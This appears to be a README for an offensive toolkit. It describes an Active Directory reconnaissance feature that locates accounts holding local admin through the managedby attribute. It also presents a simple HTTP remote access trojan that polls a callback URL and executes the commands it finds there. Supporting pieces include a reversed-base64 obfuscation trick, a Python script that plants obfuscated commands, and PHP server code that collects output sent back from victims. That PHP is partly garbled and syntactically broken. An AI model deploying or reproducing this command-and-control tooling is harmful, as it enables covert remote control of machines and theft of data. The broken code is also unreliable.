The CheckManaged feature

Active Directory support the following two attributes managedobjects and managedby. These attributes can be used to assign a manager to an object. It can be a user managing a computer. There is a GPO that can be used to grant local admin to managedobjects owner.

The CheckManaged feature first confirm the presence of the GPO in question by looking at the SYSVOL policies present on the DC. If the groups.xml is present, it dump all the users with a managedobjects attribute and the computers with a managedby attribute.

simple-http-rat.cs

A simple RAT that execute command over HTTP. The code is calling back every 10 seconds and will execute the data present on the callback URL.

rat.exe callbackurl

The data is obfuscated using the following python trick

$ python -c 'import base64; print base64.b64encode("cmd.exe /c whoami")[::-1]'
=kWbh9Ga3ByYvASZ4VmLk12Y

The file creation can also be automated using the following script

import base64
import sys
import os

path = sys.argv[1]
cmd = sys.argv[2]

if os.path.exists(path):
        os.remove(path)
        
open(path, "w+").write(base64.b64encode(cmd)[::-1])
print "Command added"

update.py /var/www/html/callback.html "whoami"

For the post back RAT the following PHP code can be used to capture the data

data = file_get_contents("php://input");
        $request->ip = $_SERVER["REMOTE_ADDR"];
        $request->time = date("r");

        $data = str_replace("!)(*&#:data);
        $decoded = base64_decode($data);

        file_put_contents("/tmp/output.txt", "[" . $request->time . "](" . $request->ip . "): " . $decoded . "\r\n", FILE_APPEND);
} else {
        echo file_get_contents("/tmp/payload.txt");
}
?>
